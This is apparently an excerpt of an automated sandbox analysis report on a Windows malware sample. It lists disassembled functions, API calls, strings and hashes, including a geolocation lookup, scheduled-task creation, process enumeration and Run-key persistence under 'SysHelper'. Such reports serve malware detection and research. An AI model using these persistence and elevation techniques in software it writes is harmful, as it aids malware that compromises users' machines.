Instruction Fuzzy Hash: E7516E71D40209BBDB10DBA1DC45FEFBBB9FF05744F100129F909B6290EB745A058BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0266F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0266F284
__CxxThrowException@8.LIBCMT ref: 0266F2AF
__CxxThrowException@8.LIBCMT ref: 0266F2DE
__CxxThrowException@8.LIBCMT ref: 0266F30F
_memset.LIBCMT ref: 0266F32E
__CxxThrowException@8.LIBCMT ref: 0266F354
_sprintf.LIBCMT ref: 0266F373

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 300c11e01cb71564f5de1fb2910161884816dd4c1ca610cd4c7ea3d029b6567e
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 735171B1D40209BADF11DFA1DD46FFEBB79EB05704F140129F906B6280DB75AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0266F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0266F4B7
__CxxThrowException@8.LIBCMT ref: 0266F4E2
__CxxThrowException@8.LIBCMT ref: 0266F504
__CxxThrowException@8.LIBCMT ref: 0266F535
_memset.LIBCMT ref: 0266F554
__CxxThrowException@8.LIBCMT ref: 0266F57A
_sprintf.LIBCMT ref: 0266F594

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: d47c715a9e73d35a65fe13b421fc25bb9b89d922ab70e6c337d9c18de459ca81
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 4F516171D40209BADF21DFA1DD45FFEBBB9EB05744F200129E906B6280EB74A9058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 026A208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 026A20C6
__invoke_watson.LIBCMT ref: 026A2120
_strlen.LIBCMT ref: 026A20D4

Part of subcall function 02685BA8: __getptd_noexit.LIBCMT ref: 02685BA8

_strnlen.LIBCMT ref: 026A215F
__lock.LIBCMT ref: 026A2170
__getenv_helper_nolock.LIBCMT ref: 026A217B

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 7ad7420614435dca6421cb829b5ef4350fc518a278c3027f5321d36e0ca0c321
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: CE313972A84226ABDB217B68DC31B6E37959F05B28F114119EE04EB384DB74CC41CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 027266D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 027266DD

Part of subcall function 026859BF: __calloc_crt.LIBCMT ref: 026859E2
Part of subcall function 026859BF: __initptd.LIBCMT ref: 02685A04

__calloc_crt.LIBCMT ref: 02726700
__get_sys_err_msg.LIBCMT ref: 0272671E
__invoke_watson.LIBCMT ref: 0272673B
__get_sys_err_msg.LIBCMT ref: 0272676D
__invoke_watson.LIBCMT ref: 0272678B

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 5df883617a289106b6e249dbc574992ce15fa9d8eb7f4d9fe3a164a3a6fa26cf
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 0C11A771601636ABEB217A25EC40B7B779DDF00764F50056BFE08A6341EB32DD044AE9

Uniqueness

Uniqueness Score: -1.00%

Function 02672670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026726DB
_memset.LIBCMT ref: 02672A30
_memset.LIBCMT ref: 02672AC0

Strings

D, xrefs: 02672AC8

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 4139061f4620261ceeb8829ad7b72c5477d1d2e6b0e6dd4ad112ec5a34fd1bbd
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: E5E18C71D00219EBCF24DBA0DD99FEEB7B8BF04704F14416AE909E6190EB74AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0266D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0266D8EA

Strings

$, xrefs: 0266DAE2
(, xrefs: 0266DAE9
, xrefs: 0266DADB

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 0a96c75afd55047a8368b97a1e49726c7f2bebe07b1327492959f393cd669c5f
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: FD91AEB1D00259EBEF20DFA0DC59BEEBBB5AF05304F244169D405B7280DBB65A48CF69

Uniqueness

Uniqueness Score: -1.00%

Function 02685CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02685CF4

Strings

U, xrefs: 02685CFD

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: bb1c085ca38693c5b3e92dea645a73f7206f4c5a701b084a54d330eab1f759c9
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 22212E32614208BAEB04BAA4DC45BBE73ADDB44350F914369FD0AC62D0FB71DD418AA8

Uniqueness

Uniqueness Score: -1.00%

Function 0267A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0267A858
_memset.LIBCMT ref: 0267A869
_memset.LIBCMT ref: 0267A87A

Strings

p2Q, xrefs: 0267A882

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 9cc56272ee631002579732daaf2f43adc901fb51b35f26832b0eaff9a4e58e96
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: E5F0C968698750B5F7217750BC26B857E916B31B08F104188E1182A3F1E2F9238CA79E

Uniqueness

Uniqueness Score: -1.00%

Function 026AFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 026AFBF1

Part of subcall function 0269169C: std::exception::_Copy_str.LIBCMT ref: 026916B5

__CxxThrowException@8.LIBCMT ref: 026AFC06

Strings

TeM, xrefs: 026AFBE7, 026AFBFB
TeM, xrefs: 026AFBFE

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: ace2168843876254c4963406f012ec6bc2456bff2387bfd293d2a8eed11ebd60
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 3CD06775C0020DBBCF00EFA5D459CDDBBBDAA05344B1084A6A91897241EA74A3498F98

Uniqueness

Uniqueness Score: -1.00%

Function 0266D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0268197D: __wfsopen.LIBCMT ref: 02681988

_fgetws.LIBCMT ref: 0266D15C

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 40d1ecc80d8dd9cfa627485898ae4bc7f504f0ab31f23ba40dc3e8256ba957d6
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 3591A2B1E00359ABCF20EFA4CD89BBEB7B5AF05304F140669E915B3340E775AA14CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0266D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0266D77E
_malloc.LIBCMT ref: 0266D7B2
_malloc.LIBCMT ref: 0266D7C1
_fprintf.LIBCMT ref: 0266D815

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: ff6ab6cd4989e42d52114ab67634d7e4b6898f74990e8a73c8209464938c3db6
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: BCA172B1C00289EBEF11EF94DC59BEEBB76AF15308F14012CD40576291D7765A88CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 02682AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02682B2E
__read_nolock.LIBCMT ref: 02682BFE
__filbuf.LIBCMT ref: 02682C21
_memset.LIBCMT ref: 02682C65

Part of subcall function 02685BA8: __getptd_noexit.LIBCMT ref: 02685BA8

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: a0a65899b505b3add9ae827c31883f3ce92a0087450881d00e7093446b309de9
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: CE51C270A01386DBDB28AF798DA067EB7B6AF40328F14832DED35963D0D7709951CB44

Uniqueness

Uniqueness Score: -1.00%

Function 026A1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 026A137D

Part of subcall function 026A1A9D: __fltout2.LIBCMT ref: 026A1AC6

__cftog_l.LIBCMT ref: 026A13A3
__cftoe_l.LIBCMT ref: 026A13D5

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 718a84c7178e81972bedabddf53ac0af7a04589017a99beaac35d56723bc142f
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 3B01363240014ABBCF165E84DC218EE3F62BB1A354F488599FA5998920D336D9B2AF85

Uniqueness

Uniqueness Score: -1.00%

Function 02727A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02727A4B

Part of subcall function 02728140: ___BuildCatchObjectHelper.LIBCMT ref: 02728172
Part of subcall function 02728140: ___AdjustPointer.LIBCMT ref: 02728189

_UnwindNestedFrames.LIBCMT ref: 02727A62
___FrameUnwindToState.LIBCMT ref: 02727A74
CallCatchBlock.LIBCMT ref: 02727A98

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 0551f92ad4b4ec0da385967b966f755affec17fa76f0a83a5cd050e32ae06dc6
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 0A01E932400119BBCF12AF55CD04EDA7BBAFF48754F158015FD5865120D732E965DFA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: g0Zq7nJjus.exePID: 2924, Parent PID: 884COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.7%
Total number of Nodes:	821
Total number of Limit Nodes:	92

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,005DBA88,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
list<T> too long, xrefs: 0041B669, 0041B673
--AutoStart, xrefs: 0041A2EC
D:\Windows\, xrefs: 0041AFF3
<, xrefs: 0041A67B
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
IsNotAutoStart, xrefs: 0041A645
IsNotTask, xrefs: 0041A654
C:\Program Files\Google\, xrefs: 0041AFB9
x*P, xrefs: 0041ACE4
--ForNetRes, xrefs: 0041A22E
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--Admin, xrefs: 0041A1B4, 0041A632
I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
runas, xrefs: 0041A6CE
F:\, xrefs: 0041B397
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
x2Q, xrefs: 0041A856
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--Task, xrefs: 0041A2CD
7P, xrefs: 0041B164
IsAutoStart, xrefs: 0041A1D0, 0041A273
X1P, xrefs: 0041A485
IsTask, xrefs: 0041A1EE, 0041A299
--Service, xrefs: 0041A30B
D:\Program Files (x86)\Google\, xrefs: 0041B085

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Author Name, xrefs: 0040D4C8
--Task, xrefs: 0040D8DD
2030-05-02T08:00:00, xrefs: 0040D737
PT5M, xrefs: 0040D5A1, 0040D66C
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Time Trigger Task, xrefs: 0040D43C, 0040D973
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Trigger1, xrefs: 0040D6FA

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
